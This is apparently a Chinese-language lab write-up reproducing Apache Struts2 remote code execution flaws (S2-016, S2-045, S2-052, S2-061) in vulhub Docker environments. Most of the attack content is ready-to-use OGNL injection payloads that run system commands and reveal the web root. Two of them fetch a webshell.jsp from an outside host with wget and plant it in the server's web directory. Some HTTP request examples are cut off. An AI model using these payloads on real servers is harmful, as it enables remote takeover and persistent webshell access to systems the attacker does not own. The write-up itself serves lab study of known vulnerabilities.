Struts2
以漏洞复现为主,漏洞分析暂时搁浅,环境无特殊说明为
vulhub
S2-016
漏洞复现
在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
执行命令:
1 | redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} |
获取web目录:
1 | redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()} |
wget 下载webshell
1 | redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://192.168.1.5:2333/webshell.jsp','-O','webapps/ROOT/webshell.jsp'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e), #piaoye=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#piaoye.getWriter().println(#e),#piaoye.getWriter().flush(),#piaoye.getWriter().close()} |
S2-045
漏洞复现
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析 - 安全客,安全资讯平台 (anquanke.com)
通过构造content-Type来实现利用
1 | Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" |
xxx=’multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true
1 | #container=#context['com.opensymphony.xwork2.ActionContext.container'] |
1 | #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class |
1 | #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd }) |
1 | #p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) |
S2-052
漏洞说明
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 | Content-Type | 解析方法 |
---|---|---|
xml | application/xml | xstream |
json | application/json | jsonlib或jackson(可选) |
xhtml | application/xhtml+xml | 无 |
无 | application/x-www-form-urlencoded | 无 |
无 | multipart/form-data | 无 |
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
1 | <classname></classname> |
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
漏洞复现
启动环境后,访问http://your-ip:8080/orders.xhtml
即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
所以,最后发送的数据包为:
1 | POST /orders/3/edit HTTP/1.1 |
以上数据包成功执行的话,会在docker容器内创建文件/tmp/success
,执行docker-compose exec struts2 ls /tmp/
即可看到。
此外,我们还可以下载一个jsp的webshell:
1 | <command><string>wget</string><string>http://192.168.1.5:2333/webshell.jsp</string> |
GitHub - tennc/webshell: This is a webshell open source project
S2-061
S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
漏洞复现
发送如下数据包,即可执行id
命令:
1 | POST /index.action HTTP/1.1 |
可见,id
命令返回结果将直接显示在页面中: